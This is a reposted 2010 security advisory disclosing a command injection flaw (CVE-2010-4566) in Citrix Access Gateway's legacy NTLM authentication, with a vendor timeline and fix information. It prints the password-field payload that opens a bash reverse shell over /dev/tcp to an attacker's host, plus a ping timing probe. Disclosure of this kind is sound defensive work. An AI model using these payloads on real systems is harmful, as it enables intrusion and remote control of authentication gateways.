Citrix Access Gateway Command Injection
来源:互联网 发布:淘宝客服话术大全 编辑:程序博客网 时间:2024/06/02 02:30
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Advisory Name: Citrix Access Gateway Command Injection Vulnerability
Release Date: 2010-12-21
Application: Citrix Access Gateway
Versions: Access Gateway Enterprise Edition (up to 9.2-49.8)
Access Gateway Standard & Advanced Edition (prior to 5.0)
Severity: High
Author: George D. Gal <ggal (at) vsecurity (dot) com>
Vendor Status: Updated Software Released, NT4 Authentication Removed [2]
CVE Candidate: CVE-2010-4566
Reference: http://www.vsecurity.com/resources/advisory/20101221-1/
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product Description
- -------------------
- From [1]:
"Citrix(R) Access Gateway(TM) is a secure application access solution that
provides administrators granular application-level control while
empowering users with remote access from anywhere. It gives IT
administrators a single point to manage access control and limit actions
within sessions based on both user identity and the endpoint device,
providing better application security, data protection, and compliance
management."
Vulnerability Overview
- ----------------------
On August 2nd, VSR identified a vulnerability in Citrix Access Gateway within
the way user authentication credentials are handled. Under certain
configuration settings it appears that user credentials are passed as
arguments to a command line program to authenticate the user. A lack of data
validation and the mechanism in which the external program is spawned results
in the potential for command injection and arbitrary command execution on the
Access Gateway.
Vulnerability Details
- ---------------------
The Citrix Access Gateway provides support for multiple authentication types.
When utilizing the external legacy NTLM authentication module known as
ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
line utility to verify a user's identity and password. By embedding shell
metacharacters in the web authentication form it is possible to execute
arbitrary commands on the Access Gateway.
The following commands are executed by the ntlm_authenticator during this
process:
vpnadmin 10130 0.0 0.0 2104 976 ? S 15:02 0:00 sh -c /usr/local/samba/bin/samedit -c 'samuser username -a' -U <<username>>%<<password>> -p 139 -S xxx.xxx.xxx.xxx > /tmp/samedit-samuser-stdout.50474096 2> /dev/null
vpnadmin 10131 0.0 0.1 3852 1528 ? S 15:02 0:00 /usr/local/samba/bin/samedit -c samuser username -a -U <<username>>%XXXXXXXX -p 139 -S xxx.xxx.xxx.xxx
By submitting a password value as shown below, it is possible to establish a
reverse shell to a netcat listener:
| bash -i >& /dev/tcp/<<HOST>>/<<PORT>> 0>&1 &
Using a simple ping command in the password field an attacker could use timing
attacks to verify the presence of the vulnerability:
| ping -c 10 <<HOST>>
The ping command above will attempt to send 10 ICMP echo requests to the
target host, resulting in a noticable delay easily detected by vulnerability
scanners.
Versions Affected
- -----------------
Testing was performed against a Citrix Access Gateway 2000 version 4.5.7.
According to the vendor this vulnerability affects all versions of Access
Gateway Enterprise Edition up to version 9.2-49.8, and all versions of
the Access Gateway Standard and Advanced Editions prior to Access Gateway
5.0.
Vendor Response
- ---------------
The following timeline details the vendor's response to the reported issue:
2010-08-06 Citrix was provided a draft advisory.
2010-08-10 Citrix acknowledged receipt of draft advisory.
2010-08-16 VSR follow-up to determine confirmation of issue.
2010-08-16 Citrix confirmed issue.
2010-09-14 VSR follow-up to determine status of issue.
2010-09-29 VSR follow-up to determine status of issue.
2010-09-30 Citrix confirmed continued investigation of the issue.
2010-10-19 VSR follow-up to determine status of issue.
2010-10-26 Citrix verified issue only exists in NT4 authentication feature.
2010-12-01 VSR follow-up to determine status of issue.
2010-12-02 Citrix confirmed December 14th release of security bulletin.
2010-12-14 Citrix releases security bulletin.
2010-12-20 CVE assigned
2010-12-21 VSR releases advisory.
The Citrix advisory may be obtained at:
http://support.citrix.com/article/CTX127613
Recommendation
- --------------
Citrix has indicated that this vulnerability only affects legacy NT4
authentication which has been removed from the latest release of the
device firmware.
Common Vulnerabilities and Exposures (CVE) Information
- ------------------------------------------------------
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2010-4566 to this issue. This is a candidate for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.
Acknowledgements
- ----------------
VSR would like to thank Citrix for the coordinated release of this advisory.
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
References:
1. Citrix Access Gateway
http://citrix.com/accessgateway/overview
2. Citrix Access Gateway - Vendor Security Bulletin
http://support.citrix.com/article/CTX127613
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This advisory is distributed for educational purposes only with the sincere
hope that it will help promote public safety. This advisory comes with
absolutely NO WARRANTY; not even the implied warranty of merchantability or
fitness for a particular purpose. Virtual Security Research, LLC nor the
author accepts any liability for any direct, indirect, or consequential loss
or damage arising from use of, or reliance on, this information.
See the VSR disclosure policy for more information on our responsible
disclosure practices:
http://www.vsecurity.com/company/disclosure
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- Citrix Access Gateway Command Injection
- 理想的Citrix桌面虚拟环境之8 - Access Gateway的Secure Gateway模式
- Citrix Access Gateway Enterprise Edition的模式(cVPN,Full VPN,ICA proxy)
- Command Injection
- 理想的Citrix桌面虚拟环境之7 - 用Access Gateway为XenDesktop环境建立安全的入口
- LANDesk command injection
- WebGoat Command Injection sample
- Security Issue: Command injection
- dvwa-command injection
- 堡垒机(Access Gateway)
- Internet Explorer FTP command injection
- Command Injection(命令行注入)
- –DVWA-command injection
- Router - Netgear Remote Command Injection
- Symantec Web Gateway 'deptUploads_data.php' SQL Injection Vulnerability
- Script to change gateway by command
- citrix
- citrix
- 在asp.net中fso的使用的方法
- Shell_NotifyIcon
- Android-SDK SearchableDemo--浮动搜索框(SearchManager)
- Packing Rectangles
- jsp通过Cookie实现自动登录
- Citrix Access Gateway Command Injection
- SQL 字符串分割函数 split
- ejabberd-2.1.6源码安装与配置笔记(Ubuntu 10.10)
- vc获取网页内链接
- 为什么需要Class.forName("com.mysql.jdbc.Driver")
- GDK 事件类型@GTK+ 2.0 中文教程连载
- 嵌入式Linux驱动程序开发要点
- Grace Hopper:编译语言之母、千年虫制造者、世界第三位程序员(COBOL语言创始人)、海军少将
- Linux共享内存